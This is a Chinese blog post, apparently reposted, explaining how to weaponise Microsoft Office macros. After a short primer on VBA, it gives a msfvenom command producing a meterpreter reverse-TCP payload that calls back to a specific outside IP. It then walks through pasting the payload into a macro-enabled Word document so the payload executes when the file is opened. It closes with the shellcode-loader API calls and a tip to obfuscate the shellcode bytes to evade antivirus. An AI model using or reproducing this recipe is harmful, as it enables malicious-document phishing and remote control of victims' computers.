office宏-0x00 宏 - Macro office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复...

七彩网络

昔年博客
首页>> 系统安全 >>office宏
2019-12-28
分类: 系统安全

office宏

文章作者:本站整理
手机扫码查看

0x00 宏 - Macro office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出......

0x00 宏 - Macro
office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。也可说是一种应用程式视觉化的Basic 脚本。该语言于1993年由微软公司开发的的应用程序共享一种通用的自动化语言-Visual Basic for Application(VBA),实际上VBA是寄生于VB应用程序的版本。

0x01 生成宏
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=71.19.144.69 LPORT=8899 -f vba -o try.vba
使用msf就可以生成宏代码,接下来只要放入word或者excel、ppt即可。

0x02 创建宏
新建一个文档,另存为“启用宏的Word文档”:

2019-05-15-14-00-36

视图-查看宏:

2019-05-15-14-02-48

随便输入一个宏名称,点击“创建”:

2019-05-15-14-03-34

此时进入宏编辑器:

2019-05-15-14-04-57

将msf生成的payload放入:

2019-05-15-14-05-45

保存文件,关闭,再打开即可执行宏代码。

0x03 宏代码分析
msf生成默认的vba会导入三个api函数,常见的shellcode加载器代码:

2019-05-15-14-07-11

CreateThread 创建线程
VirtualAlloc 申请虚拟内存空间
RtlMoveMemory 拷贝内存
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
VOID RtlMoveMemory(
  VOID * Destination,
  VOID * Source,
  DWORD Length
);
其中Array(72,131,228,240,232,...就是shellcode,混淆的办法有很多种。

shellcode可以自己在VBA里解码或者比如每个元素自增1,运行的时候-1,达到免杀…

×

感谢您的支持,我们会一直保持!

扫码支持
请土豪扫码随意打赏

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

打赏作者
版权所有,转载注意明处:昔年博客 » office宏
分享本文至:
点击评论 您阅读这篇文章共花了: 

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)